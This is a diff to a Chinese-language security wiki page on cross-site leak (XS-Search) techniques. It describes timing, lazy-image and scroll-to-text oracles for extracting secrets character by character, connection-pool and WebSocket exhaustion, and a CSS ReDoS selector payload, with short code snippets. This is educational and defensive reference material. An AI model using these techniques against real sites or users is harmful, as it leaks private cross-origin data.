- **More info**: [https://xsleaks.dev/docs/attacks/element-leaks/#script-tag](https://xsleaks.dev/docs/attacks/element-leaks/#script-tag)
- **Summary:** 可以 **覆盖内置函数** 并读取其参数,即使是来自 **跨域脚本**(无法直接读取),这可能 **泄露有价值的信息**
- **Code Example**: [https://xsleaks.dev/docs/attacks/element-leaks/#script-tag](https://xsleaks.dev/docs/attacks/element-leaks/#script-tag)
@ -805,14 +805,14 @@ CSS `:visited` 选择器用于对用户之前访问过的 URL 进行不同的样
### Service Workers <a href="#service-workers" id="service-workers"></a>
- **Inclusion Methods**: Pop-ups
- **Detectable Difference**: 页面内容
- **Detectable Difference**: Page Content
- **More info**: [https://xsleaks.dev/docs/attacks/timing-attacks/execution-timing/#service-workers](https://xsleaks.dev/docs/attacks/timing-attacks/execution-timing/#service-workers)
- **Summary:** 测量使用服务工作者的网页的执行时间。
- **Code Example**:
在给定的场景中,攻击者主动在其域之一(特别是 "attacker.com"中注册一个 **服务工作者**。接下来,攻击者从主文档中在目标网站打开一个新窗口,并指示 **服务工作者** 开始计时。当新窗口开始加载时,攻击者将前一步获得的引用导航到由 **服务工作者** 管理的页面。
在给定的场景中,攻击者主动在其域之一中注册一个 **服务工作者**,具体为 "attacker.com"。接下来,攻击者从主文档中在目标网站打开一个新窗口,并指示 **服务工作者** 开始计时。当新窗口开始加载时,攻击者将前一步获得的引用导航到由 **服务工作者** 管理的页面。
在前一步发起的请求到达时,**服务工作者** 以 **204 (No Content)** 状态码响应,有效地终止导航过程。此时,**服务工作者** 捕获了在第二步中启动的计时器的测量。该测量受 JavaScript 导致的导航过程延迟的影响。
在前一步发起的请求到达时,**服务工作者** 以 **204 (No Content)** 状态码响应,有效地终止导航过程。此时,**服务工作者** 捕获前面第二步中启动的计时器的测量。该测量受 JavaScript 导致的导航过程延迟的影响。
> [!WARNING]
> 在执行计时中,可以 **消除** **网络因素** 以获得 **更精确的测量**。例如,通过在加载页面之前加载页面使用的资源。
@ -820,7 +820,7 @@ CSS `:visited` 选择器用于对用户之前访问过的 URL 进行不同的样
### Fetch Timing
- **Inclusion Methods**: Fetch API
- **Detectable Difference**: Timing (通常由于页面内容、状态码)
- **Detectable Difference**: Timing (generally due to Page Content, Status Code)
- **More info**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#modern-web-timing-attacks](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#modern-web-timing-attacks)
- **Summary:** 使用 [performance.now()](https://xsleaks.dev/docs/attacks/timing-attacks/clocks/#performancenow) 测量执行请求所需的时间。可以使用其他时钟。
- **Code Example**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#modern-web-timing-attacks](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#modern-web-timing-attacks)
@ -828,7 +828,7 @@ CSS `:visited` 选择器用于对用户之前访问过的 URL 进行不同的样
### Cross-Window Timing
- **Inclusion Methods**: Pop-ups
- **Detectable Difference**: Timing (通常由于页面内容、状态码)
- **Detectable Difference**: Timing (generally due to Page Content, Status Code)
- **More info**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#cross-window-timing-attacks](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#cross-window-timing-attacks)
- **Summary:** 使用 [performance.now()](https://xsleaks.dev/docs/attacks/timing-attacks/clocks/#performancenow) 测量使用 `window.open` 执行请求所需的时间。可以使用其他时钟。
- **Code Example**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#cross-window-timing-attacks](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#cross-window-timing-attacks)
@ -846,16 +846,16 @@ dangling-markup-html-scriptless-injection/
### Image Lazy Loading
如果您需要 **提取内容** 并且可以 **在秘密之前添加 HTML**,您应该检查 **常见的悬挂标记技术**。\
但是,如果出于某种原因您 **必须** 逐个字符地进行(也许通信是通过缓存命中),您可以使用这个技巧。
但是,如果由于某种原因您 **必须** 逐字符进行(也许通信是通过缓存命中),您可以使用这个技巧。
**图像** 在 HTML 中具有一个 "**loading**" 属性,其值可以是 "**lazy**"。在这种情况下,图像将在查看时加载,而不是在页面加载时:
**HTML 中的图像** 有一个 "**loading**" 属性,其值可以是 "**lazy**"。在这种情况下,图像将在查看时加载,而不是在页面加载时:
```html
<img src=/something loading=lazy >
```
因此,您可以做的是**添加大量垃圾字符**(例如**成千上万"W"**)来**填充网页在秘密之前,或者添加类似**`<br><canvas height="1850px"></canvas><br>`**的内容。**\
然后,如果例如我们的**注入出现在标志之前****图像**将会**加载**,但如果出现在**标志之后**,标志 + 垃圾将**阻止其加载**(您需要尝试放置多少垃圾)。这就是在[**这篇文章**](https://blog.huli.tw/2022/10/08/en/sekaictf2022-safelist-and-connection/)中发生的事情。
因此,您可以做的是**添加大量垃圾字符**(例如**成千上万"W"**)来**填充网页在秘密之前,或者添加类似**`<br><canvas height="1850px"></canvas><br>`**的内容。\
然后,如果例如我们的**注入出现在标志之前****图像**将会**加载**,但如果出现在**标志之后**,标志+垃圾将**阻止其加载**(您需要调整放置多少垃圾)。这就是在[**这篇文章**](https://blog.huli.tw/2022/10/08/en/sekaictf2022-safelist-and-connection/)中发生的事情。
另一个选项是使用**scroll-to-text-fragment**(如果允许的话)
另一个选项是使用**scroll-to-text-fragment**,如果允许的话
#### Scroll-to-text-fragment
@ -863,15 +863,15 @@ dangling-markup-html-scriptless-injection/
```
#:~:text=SECR
```
所以网页将类似于:**`https://victim.com/post.html#:~:text=SECR`**
所以网页将类似于:**`https://victim.com/post.html#:~:text=SECR`**
其中 post.html 包含攻击者的垃圾字符和懒加载图像,然后添加机器人的秘密。
这段文本的作用是让机器人访问页面中包含文本 `SECR` 的任何文本。由于该文本是秘密,并且它就在 **图像下方**,因此 **只有在猜测的秘密正确时图像才会加载**。所以你就有了你的神谕来 **逐字符提取秘密**
这段文本的作用是让机器人访问页面中包含文本 `SECR` 的任何文本。由于该文本是秘密,并且它就在 **图像下方**,因此 **只有在猜测的秘密正确时图像才会加载**。所以你就有了你的神谕来 **逐字符提取秘密**
一些利用此漏洞的代码示例:[https://gist.github.com/jorgectf/993d02bdadb5313f48cf1dc92a7af87e](https://gist.github.com/jorgectf/993d02bdadb5313f48cf1dc92a7af87e)
### 基于图像懒加载时间
### 图像懒加载基于时间
如果 **无法加载外部图像**,这可能会向攻击者指示图像已加载,另一种选择是尝试 **多次猜测字符并测量**。如果图像已加载,所有请求的时间将比图像未加载时更长。这就是在 [**此写作的解决方案中**](https://blog.huli.tw/2022/10/08/en/sekaictf2022-safelist-and-connection/) **总结的内容:**
@ -887,7 +887,7 @@ regular-expression-denial-of-service-redos.md
### CSS ReDoS
如果使用 `jQuery(location.hash)`,可以通过时间来判断 **是否存在某些 HTML 内容**,这是因为如果选择器 `main[id='site-main']` 不匹配,则不需要检查其余的 **选择器**
如果使用 `jQuery(location.hash)`,可以通过时间来判断 **某些 HTML 内容是否存在**,这是因为如果选择器 `main[id='site-main']` 不匹配,则不需要检查其余的 **选择器**
```javascript
$(
"*:has(*:has(*:has(*)) *:has(*:has(*:has(*))) *:has(*:has(*:has(*)))) main[id='site-main']"
@ -901,7 +901,7 @@ xs-search/css-injection/
## 防御
在 [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) 中以及维基的每个部分 [https://xsleaks.dev/](https://xsleaks.dev/) 中都有推荐的缓解措施。请查看那里以获取有关如何防止这些技术的更多信息。
在 [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) 和维基的每个部分 [https://xsleaks.dev/](https://xsleaks.dev/) 中推荐了一些缓解措施。请查看那里以获取有关如何防止这些技术的更多信息。
## 参考

View File

@ -10,7 +10,7 @@ XS-Search 是一种通过利用 **侧信道漏洞** 来 **提取跨源信息**
- **易受攻击的网页**:目标网站,信息旨在从中提取。
- **攻击者的网页**:攻击者创建的恶意网站,受害者访问,托管漏洞。
- **包含方法**将易受攻击的网页纳入攻击者网页所采用的技术例如window.open、iframe、fetch、带 href 的 HTML 标签等)。
- **包含方法**:将易受攻击的网页纳入攻击者网页所采用的技术例如window.open、iframe、fetch、带 href 的 HTML 标签等)。
- **泄漏技术**:用于根据通过包含方法收集的信息来辨别易受攻击网页状态差异的技术。
- **状态**:易受攻击网页的两种潜在条件,攻击者旨在区分。
- **可检测差异**:攻击者依赖于的可观察变化,以推断易受攻击网页的状态。
@ -20,42 +20,42 @@ XS-Search 是一种通过利用 **侧信道漏洞** 来 **提取跨源信息**
可以分析多个方面以区分易受攻击网页的状态:
- **状态码**:区分 **各种 HTTP 响应状态码** 跨源,如服务器错误、客户端错误或身份验证错误。
- **API 使用**:识别跨页面的 **Web API 使用情况**,揭示跨源页面是否使用特定的 JavaScript Web API。
- **重定向**:检测导航到不同页面,不仅是 HTTP 重定向,还有由 JavaScript 或 HTML 触发的重定向。
- **API 使用**:识别 **跨页面的 Web API 使用**,揭示跨源页面是否使用特定的 JavaScript Web API。
- **重定向**:检测导航到不同页面,不仅是 HTTP 重定向,还有由 JavaScript 或 HTML 触发的重定向。
- **页面内容**:观察 **HTTP 响应体中的变化** 或页面子资源中的变化,例如 **嵌入框的数量** 或图像的大小差异。
- **HTTP 头**:注意 **特定 HTTP 响应头** 的存在或可能的值,包括 X-Frame-Options、Content-Disposition 和 Cross-Origin-Resource-Policy 等头。
- **时间**:注意两状态之间的一致时间差异。
- **时间**:注意两状态之间的一致时间差异。
### 包含方法
- **HTML 元素**HTML 提供多种元素用于 **跨源资源包含**,如样式表、图像或脚本,迫使浏览器请求非 HTML 资源。可以在 [https://github.com/cure53/HTTPLeaks](https://github.com/cure53/HTTPLeaks) 找到此目的的潜在 HTML 元素的汇编
- **框架**:如 **iframe**、**object** 和 **embed** 元素可以将 HTML 资源直接嵌入攻击者的页面。如果页面 **缺乏框架保护**JavaScript 可以通过 contentWindow 属性访问框架资源的窗口对象。
- **弹出窗口****`window.open`** 方法在新标签或窗口中打开资源,为 JavaScript 提供 **窗口句柄**,以便与遵循 SOP 的方法和属性进行交互。弹出窗口通常用于单点登录,绕过目标资源的框架和 cookie 限制。然而,现代浏览器限制弹出窗口的创建,仅限于某些用户操作。
- **HTML 元素**HTML 提供多种元素用于 **跨源资源包含**,如样式表、图像或脚本,迫使浏览器请求非 HTML 资源。有关此目的的潜在 HTML 元素的汇编可以在 [https://github.com/cure53/HTTPLeaks](https://github.com/cure53/HTTPLeaks) 找到。
- **框架**:如 **iframe**、**object** 和 **embed** 元素可以将 HTML 资源直接嵌入攻击者的页面。如果页面 **缺乏框架保护**JavaScript 可以通过 contentWindow 属性访问框架资源的窗口对象。
- **弹出窗口****`window.open`** 方法在新标签或窗口中打开资源,为 JavaScript 提供 **窗口句柄**,以便与遵循 SOP 的方法和属性进行交互。弹出窗口通常用于单点登录,绕过目标资源的框架和 cookie 限制。然而,现代浏览器将弹出窗口的创建限制为某些用户操作。
- **JavaScript 请求**JavaScript 允许使用 **XMLHttpRequests****Fetch API** 直接请求目标资源。这些方法提供对请求的精确控制,例如选择跟随 HTTP 重定向。
### 泄漏技术
- **事件处理程序**XS-Leaks 中的经典泄漏技术,事件处理程序如 **onload****onerror** 提供有关资源加载成功或失败的见解。
- **事件处理程序**XS-Leaks 中的一种经典泄漏技术,其中事件处理程序如 **onload****onerror** 提供有关资源加载成功或失败的见解。
- **错误消息**JavaScript 异常或特殊错误页面可以直接从错误消息中提供泄漏信息,或通过区分其存在与否来提供信息。
- **全局限制**:浏览器的物理限制,如内存容量或其他强制的浏览器限制,可以在达到阈值时发出信号,作为泄漏技术。
- **全局状态**可检测与浏览器 **全局状态**(例如,历史接口)的交互可以被利用。例如,浏览器历史中的 **条目数量** 可以提供有关跨源页面的线索。
- **性能 API**:此 API 提供 **当前页面的性能细节**,包括文档和加载资源的网络时序,使得对请求资源的推断成为可能
- **全局状态**:与浏览器 **全局状态**(例如,历史接口)的可检测交互可以被利用。例如,浏览器历史中的 **条目数量** 可以提供有关跨源页面的线索。
- **性能 API**:此 API 提供 **当前页面的性能细节**,包括文档和加载资源的网络时序,使得可以推断请求的资源
- **可读属性**:某些 HTML 属性是 **跨源可读的**,可以用作泄漏技术。例如,`window.frame.length` 属性允许 JavaScript 计算跨源网页中包含的框架数量。
## XSinator 工具与论文
XSinator 是一个自动化工具,用于 **检查浏览器是否存在种已知的 XS-Leaks**,详见其论文:[**https://xsinator.com/paper.pdf**](https://xsinator.com/paper.pdf)
XSinator 是一个自动化工具,用于 **检查浏览器是否存在种已知的 XS-Leaks**,详见其论文:[**https://xsinator.com/paper.pdf**](https://xsinator.com/paper.pdf)
您可以 **访问该工具** [**https://xsinator.com/**](https://xsinator.com/)
> [!WARNING]
> **排除的 XS-Leaks**:我们不得不排除依赖 **服务工作者** 的 XS-Leaks因为它们会干扰 XSinator 中的其他泄漏。此外,我们选择 **排除依赖特定 Web 应用程序中的错误配置和漏洞的 XS-Leaks**。例如跨源资源共享CORS错误配置、postMessage 泄漏或跨站脚本。此外,我们还排除了基于时间的 XS-Leaks因为它们通常存在缓慢、嘈杂和不准确的问题。
> **排除的 XS-Leaks**:我们不得不排除依赖 **服务工作者** 的 XS-Leaks因为它们会干扰 XSinator 中的其他泄漏。此外,我们选择 **排除依赖特定 Web 应用程序中的错误配置和漏洞的 XS-Leaks**。例如跨源资源共享CORS错误配置、postMessage 泄漏或跨站脚本。此外,我们还排除了基于时间的 XS-Leaks因为它们通常存在缓慢、嘈杂和不准确的问题。
## **基于时间的技术**
以下一些技术将使用时间作为检测网页可能状态差异过程的一部分。测量时间在网页浏览器中有不同的方法。
以下一些技术将使用时间作为检测网页可能状态差异过程的一部分。测量时间在网页浏览器中有不同的方法。
**时钟** [performance.now()](https://developer.mozilla.org/en-US/docs/Web/API/Performance/now) API 允许开发获取高分辨率的时间测量。\
**时钟** [performance.now()](https://developer.mozilla.org/en-US/docs/Web/API/Performance/now) API 允许开发人员获取高分辨率的时间测量。\
攻击者可以滥用大量 API 来创建隐式时钟:[Broadcast Channel API](https://developer.mozilla.org/en-US/docs/Web/API/Broadcast_Channel_API)、[Message Channel API](https://developer.mozilla.org/en-US/docs/Web/API/MessageChannel)、[requestAnimationFrame](https://developer.mozilla.org/en-US/docs/Web/API/window/requestAnimationFrame)、[setTimeout](https://developer.mozilla.org/en-US/docs/Web/API/WindowOrWorkerGlobalScope/setTimeout)、CSS 动画等。\
更多信息请参见:[https://xsleaks.dev/docs/attacks/timing-attacks/clocks](https://xsleaks.dev/docs/attacks/timing-attacks/clocks/)。
@ -97,7 +97,7 @@ performance.now-example.md
#### 加载时延 + 强制重任务
此技术与前一种相似,但 **攻击者** 还将 **强制** 一些操作以花费 **相关的时间**无论 **答案是正面还是负面**并测量该时间。
此技术与前一种相似,但 **攻击者** 还将 **强制** 一些操作以花费 **相关的时间****响应为正或负**并测量该时间。
{{#ref}}
performance.now-+-force-heavy-task.md
@ -121,7 +121,7 @@ performance.now-+-force-heavy-task.md
- **总结:** [performance.now()](https://xsleaks.dev/docs/attacks/timing-attacks/clocks/#performancenow) API 可用于测量执行请求所需的时间。也可以使用其他时钟。
- **代码示例** [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#sandboxed-frame-timing-attacks](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#sandboxed-frame-timing-attacks)
已观察到,在没有 [框架保护](https://xsleaks.dev/docs/defenses/opt-in/xfo/) 的情况下,攻击者可以测量页面及其子资源在网络上加载所需的时间。此测量通常是可能的,因为 iframe 的 `onload` 处理程序仅在资源加载和 JavaScript 执行完成后触发。为了绕过脚本执行引入的可变性,攻击者可能会在 `<iframe>` 中使用 [`sandbox`](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/iframe) 属性。包含此属性会限制许多功能,特别是 JavaScript 的执行,从而促进主要受网络性能影响的测量。
已观察到,在没有 [框架保护](https://xsleaks.dev/docs/defenses/opt-in/xfo/) 的情况下,攻击者可以测量页面及其子资源通过网络加载所需的时间。此测量通常是可能的,因为 iframe 的 `onload` 处理程序仅在资源加载和 JavaScript 执行完成后触发。为了绕过脚本执行引入的可变性,攻击者可能会在 `<iframe>` 中使用 [`sandbox`](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/iframe) 属性。包含此属性会限制许多功能,特别是 JavaScript 的执行,从而促进主要受网络性能影响的测量。
```javascript
// Example of an iframe with the sandbox attribute
<iframe src="example.html" sandbox></iframe>
@ -136,23 +136,23 @@ performance.now-+-force-heavy-task.md
假设你可以**插入**包含**秘密**内容的**页面****在一个 Iframe** 中。
你可以**让受害者搜索**包含 "_**flag**_" 的文件,使用一个**Iframe**(例如,利用 CSRF。在 Iframe 内,你知道 _**onload 事件**_ 将**至少执行一次**。然后,你可以**更改** **iframe** 的**URL**,但只更改**URL**中**hash**的**内容**
你可以**让受害者搜索**包含“_**flag**_”的文件使用**Iframe**(例如,利用 CSRF。在 Iframe 内,你知道 _**onload 事件**_ 将**至少执行一次**。然后,你可以**更改** **iframe** 的**URL**,但只更改**URL**内的**hash**内容
例如:
1. **URL1**: www.attacker.com/xssearch#try1
2. **URL2**: www.attacker.com/xssearch#try2
如果第一个 URL **成功加载**,那么,当**更改** URL 的**hash**部分时,**onload**事件**不会再次触发**。但**如果**页面在**加载**时出现某种**错误**,那么**onload**事件将**再次触发**。
如果第一个 URL **成功加载**,那么,当**更改** URL 的**hash**部分时,**onload** 事件**不会再次触发**。但**如果**页面在**加载**时出现某种**错误**,那么**onload**事件将**再次触发**。
然后,你可以**区分**一个**正确**加载的页面或在访问时**错误**的页面。
然后,你可以**区分**一个**正确**加载的页面或在访问时出现**错误**的页面。
### Javascript 执行
- **包含方法**: Frames
- **可检测差异**: 页面内容
- **更多信息**:
- **总结**: 如果**页面**返回**敏感**内容,**或**用户可以**控制**的**内容**。用户可以在**负面情况下**设置**有效的 JS 代码**并在每次尝试中加载**`<script>`**标签,因此在**负面**情况下攻击者的**代码**被**执行**,而在**肯定**情况下**什么**都不会被执行。
- **总结**: 如果**页面**返回**敏感**内容,**或**用户可以**控制**的**内容**。用户可以在**负面情况下**设置**有效的 JS 代码**在每次尝试中使用**`<script>`** 标签加载,因此在**负面**情况下攻击者的**代码**被**执行**,而在**肯定**情况下**什么**都不会被执行。
- **代码示例**:
{{#ref}}
@ -178,7 +178,7 @@ javascript-execution-xs-leak.md
- **代码示例**: [https://xsleaks.dev/docs/attacks/id-attribute/#code-snippet](https://xsleaks.dev/docs/attacks/id-attribute/#code-snippet)
可以**在一个 iframe 中加载一个页面**,并使用**`#id_value`**使页面**聚焦于**指定的 iframe 元素,如果触发了**`onblur`**信号,则 ID 元素存在。\
你可以使用**`portal`**标签执行相同的攻击。
你可以使用**`portal`** 标签执行相同的攻击。
### postMessage 广播 <a href="#postmessage-broadcasts" id="postmessage-broadcasts"></a>
@ -197,12 +197,12 @@ javascript-execution-xs-leak.md
- **包含方法**: Frames, Pop-ups
- **可检测差异**: API 使用
- **更多信息**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.1)
- **总结**: 耗尽 WebSocket 连接限制泄露跨源页面的 WebSocket 连接数量。
- **总结**: 耗尽 WebSocket 连接限制泄露跨源页面的 WebSocket 连接数量。
- **代码示例**: [https://xsinator.com/testing.html#WebSocket%20Leak%20(FF)](<https://xsinator.com/testing.html#WebSocket%20Leak%20(FF)>), [https://xsinator.com/testing.html#WebSocket%20Leak%20(GC)](<https://xsinator.com/testing.html#WebSocket%20Leak%20(GC)>)
可以识别目标页面使用的**WebSocket 连接数量**。这使攻击者能够检测应用程序状态并泄露与 WebSocket 连接数量相关的信息。
可以识别目标页面使用的**WebSocket 连接**的数量。这使攻击者能够检测应用程序状态并泄露与 WebSocket 连接数量相关的信息。
如果一个**源**使用**最大数量的 WebSocket**连接对象,无论其连接状态如何,创建**新对象将导致 JavaScript 异常**。要执行此攻击,攻击者网站在弹出窗口或 iframe 中打开目标网站,然后在目标网页加载后,尝试创建尽可能多的 WebSocket 连接。**抛出的异常数量**就是**目标网站**窗口使用的**WebSocket 连接数量**。
如果一个**源**使用**最大数量的 WebSocket**连接对象,无论其连接状态如何,创建**新对象将导致 JavaScript 异常**。要执行此攻击,攻击者网站在弹出窗口或 iframe 中打开目标网站,然后在目标网页加载后,尝试创建尽可能多的 WebSocket 连接。**抛出的异常数量**就是目标网站使用的**WebSocket 连接数量**。
### 支付 API
@ -214,12 +214,12 @@ javascript-execution-xs-leak.md
此 XS-Leak 使攻击者能够**检测跨源页面何时发起支付请求**。
因为**一次只能有一个支付请求处于活动状态**,如果目标网站使用支付请求 API任何进一步尝试使用此 API 将失败,并导致**JavaScript 异常**。攻击者可以通过**定期尝试显示支付 API UI**来利用这一点。如果一次尝试导致异常,则目标网站当前正在使用它。攻击者可以通过在创建后立即关闭 UI 来隐藏这些定期尝试。
因为**一次只能有一个支付请求处于活动状态**,如果目标网站正在使用支付请求 API任何进一步尝试使用此 API 的请求将失败,并导致**JavaScript 异常**。攻击者可以通过**定期尝试显示支付 API UI**来利用这一点。如果一次尝试导致异常,则目标网站当前正在使用它。攻击者可以通过在创建后立即关闭 UI 来隐藏这些定期尝试。
### 计时事件循环 <a href="#timing-the-event-loop" id="timing-the-event-loop"></a>
### 事件循环计时 <a href="#timing-the-event-loop" id="timing-the-event-loop"></a>
- **包含方法**:
- **可检测差异**: 时(通常由于页面内容、状态码)
- **可检测差异**: 时(通常由于页面内容、状态码)
- **更多信息**: [https://xsleaks.dev/docs/attacks/timing-attacks/execution-timing/#timing-the-event-loop](https://xsleaks.dev/docs/attacks/timing-attacks/execution-timing/#timing-the-event-loop)
- **总结**: 测量一个网页的执行时间,利用单线程的 JS 事件循环。
- **代码示例**:
@ -228,7 +228,7 @@ javascript-execution-xs-leak.md
event-loop-blocking-+-lazy-images.md
{{#endref}}
JavaScript 在 [单线程事件循环](https://developer.mozilla.org/en-US/docs/Web/JavaScript/EventLoop) 并发模型上运行,这意味着**它一次只能执行一个任务**。这一特性可以被利用来评估**来自不同源的代码执行所需的时间**。攻击者可以通过不断调度具有固定属性的事件来测量其代码在事件循环中的执行时间。这些事件将在事件池为空时被处理。如果其他源也在向同一池调度事件,攻击者可以通过观察自己任务执行的延迟来推断这些外部事件执行所需的时间。这种监控事件循环延迟的方法可以揭示来自不同源的代码的执行时间,可能暴露敏感信息。
JavaScript 在 [单线程事件循环](https://developer.mozilla.org/en-US/docs/Web/JavaScript/EventLoop) 并发模型上运行,这意味着**它一次只能执行一个任务**。这一特性可以被利用来评估**来自不同源的代码执行所需的时间**。攻击者可以通过不断调度具有固定属性的事件来测量其代码在事件循环中的执行时间。这些事件将在事件池为空时被处理。如果其他源也在向同一池调度事件,攻击者可以通过观察自己任务执行的延迟来推断这些外部事件执行时间。这种监控事件循环延迟的方法可以揭示来自不同源的代码的执行时间,可能暴露敏感信息。
> [!WARNING]
> 在执行计时中,可以**消除** **网络因素**以获得**更精确的测量**。例如,通过在加载页面之前加载页面使用的资源。
@ -236,12 +236,12 @@ JavaScript 在 [单线程事件循环](https://developer.mozilla.org/en-US/docs/
### 忙碌事件循环 <a href="#busy-event-loop" id="busy-event-loop"></a>
- **包含方法**:
- **可检测差异**: 时(通常由于页面内容、状态码)
- **可检测差异**: 时(通常由于页面内容、状态码)
- **更多信息**: [https://xsleaks.dev/docs/attacks/timing-attacks/execution-timing/#busy-event-loop](https://xsleaks.dev/docs/attacks/timing-attacks/execution-timing/#busy-event-loop)
- **总结**: 测量网页操作执行时间的一种方法是故意阻塞线程的事件循环,然后计时**事件循环再次可用所需的时间**。通过在事件循环中插入一个阻塞操作(例如长时间计算或同步 API 调用),并监控后续代码开始执行所需的时间,可以推断出在阻塞期间事件循环中执行的任务的持续时间。这技术利用了 JavaScript 事件循环的单线程特性,其中任务是顺序执行的,可以提供对共享同一线程的其他操作的性能或行为的洞察。
- **总结**: 测量网页操作执行时间的一种方法是故意阻塞线程的事件循环,然后计时**事件循环再次可用所需的时间**。通过在事件循环中插入一个阻塞操作(例如长时间计算或同步 API 调用),并监控后续代码开始执行所需的时间,可以推断出在阻塞期间事件循环中执行的任务的持续时间。这技术利用了 JavaScript 事件循环的单线程特性,其中任务是顺序执行的,并且可以提供对共享同一线程的其他操作的性能或行为的洞察。
- **代码示例**:
通过锁定事件循环来测量执行时间的技术的一个显著优势是其潜在的绕过**站点隔离**。**站点隔离**是一种安全特性,将不同网站分隔到不同的进程中,旨在防止恶意网站直接访问其他网站的敏感数据。然而,通过通过共享事件循环影响另一个源的执行时机,攻击者可以间接提取有关该源活动的信息。这种方法不依赖于直接访问其他源的数据,而是观察该源活动对共享事件循环的影响,从而规避**站点隔离**建立的保护屏障。
通过锁定事件循环来测量执行时间的技术的一个显著优势是其潜在的绕过**站点隔离**。**站点隔离**是一种安全功能,将不同的网站分隔到不同的进程中,旨在防止恶意网站直接访问其他网站的敏感数据。然而,通过影响通过共享事件循环的另一个源的执行时机,攻击者可以间接提取有关该源活动的信息。这种方法不依赖于直接访问其他源的数据,而是观察该源活动对共享事件循环的影响,从而规避**站点隔离**建立的保护屏障。
> [!WARNING]
> 在执行计时中,可以**消除** **网络因素**以获得**更精确的测量**。例如,通过在加载页面之前加载页面使用的资源。
@ -249,7 +249,7 @@ JavaScript 在 [单线程事件循环](https://developer.mozilla.org/en-US/docs/
### 连接池
- **包含方法**: JavaScript 请求
- **可检测差异**: 时(通常由于页面内容、状态码)
- **可检测差异**: 时(通常由于页面内容、状态码)
- **更多信息**: [https://xsleaks.dev/docs/attacks/timing-attacks/connection-pool/](https://xsleaks.dev/docs/attacks/timing-attacks/connection-pool/)
- **总结**: 攻击者可以锁定所有套接字,除了 1 个,加载目标网页,同时加载另一个页面,直到最后一个页面开始加载的时间就是目标页面加载所需的时间。
- **代码示例**:
@ -258,27 +258,27 @@ JavaScript 在 [单线程事件循环](https://developer.mozilla.org/en-US/docs/
connection-pool-example.md
{{#endref}}
浏览器利用套接字进行服务器通信,但由于操作系统和硬件的资源有限,**浏览器被迫施加限制**,限制并发套接字的数量。攻击者可以通过以下步骤利用这一限制:
浏览器利用套接字进行服务器通信,但由于操作系统和硬件的资源有限,**浏览器被迫对并发套接字的数量施加限制**。攻击者可以通过以下步骤利用这一限制:
1. 确定浏览器的套接字限制例如256 个全局套接字。
2. 通过向不同主机发起 255 个请求,长时间占用 255 个套接字,旨在保持连接开放而不完成。
3. 使用第 256 个套接字向目标页面发送请求。
4. 尝试向不同主机发起第 257 个请求。由于所有套接字都在使用中(根据步骤 2 和 3请求将被排队,直到有套接字可用。此请求继续之前的延迟为攻击者提供了与第 256 个套接字(目标页面的套接字)相关的网络活动的计时信息。这一推断是可能的,因为步骤 2 中的 255 个套接字仍在使用,这意味着任何新可用的套接字必须是从步骤 3 中释放的。第 256 个套接字变为可用所需的时间因此直接与请求目标页面完成所需的时间相关联
4. 尝试向不同主机发起第 257 个请求。由于所有套接字都在使用中(根据步骤 2 和 3请求将被排队,直到有套接字可用。此请求继续之前的延迟为攻击者提供了与第 256 个套接字(目标页面的套接字)相关的网络活动的时间信息。这种推断是可能的,因为步骤 2 中的 255 个套接字仍在使用,这意味着任何新可用的套接字必须是步骤 3 中释放的套接字。因此,第 256 个套接字变得可用所需的时间与请求目标页面完成所需的时间直接相关
更多信息请参见: [https://xsleaks.dev/docs/attacks/timing-attacks/connection-pool/](https://xsleaks.dev/docs/attacks/timing-attacks/connection-pool/)
### 按目标的连接池
- **包含方法**: JavaScript 请求
- **可检测差异**: 时(通常由于页面内容、状态码)
- **可检测差异**: 时(通常由于页面内容、状态码)
- **更多信息**:
- **总结**: 这与前一种技术类似,但 Google **Chrome** 对**同一源的并发请求**设置了**6 个限制**。如果我们**阻塞 5 个**,然后**发起第 6 个**请求,我们可以**计时**,如果我们设法让**受害者页面发送**更多**请求**到同一端点以检测页面的**状态**,第 **6 个请求**将需要**更长时间**,我们可以检测到。
## 性能 API 技术
[`性能 API`](https://developer.mozilla.org/en-US/docs/Web/API/Performance) 提供了对 Web 应用程序性能指标的洞察,进一步通过 [`资源计时 API`](https://developer.mozilla.org/en-US/docs/Web/API/Resource_Timing_API) 得到增强。资源计时 API 使监控详细的网络请求时成为可能,例如请求的持续时间。值得注意的是,当服务器在其响应中包含 `Timing-Allow-Origin: *` 头时,诸如传输大小和域查找时间等额外数据将变得可用。
[`性能 API`](https://developer.mozilla.org/en-US/docs/Web/API/Performance) 提供了对 Web 应用程序性能指标的洞察,进一步通过 [`资源计时 API`](https://developer.mozilla.org/en-US/docs/Web/API/Resource_Timing_API) 得到增强。资源计时 API 使监控详细的网络请求时成为可能,例如请求的持续时间。值得注意的是,当服务器在其响应中包含 `Timing-Allow-Origin: *` 头时,传输大小和域查找时间等附加数据将变得可用。
这些丰富的数据可以通过 [`performance.getEntries`](https://developer.mozilla.org/en-US/docs/Web/API/Performance/getEntries) 或 [`performance.getEntriesByName`](https://developer.mozilla.org/en-US/docs/Web/API/Performance/getEntriesByName) 等方法检索提供全面的性能相关信息。此外API 通过计算从 [`performance.now()`](https://developer.mozilla.org/en-US/docs/Web/API/Performance/now) 获取的时间戳之间的差异来测量执行时间。然而,值得注意的是,对于某些在 Chrome 等浏览器中的操作,`performance.now()` 的精度可能限制在毫秒,这可能影响计时测量的粒度。
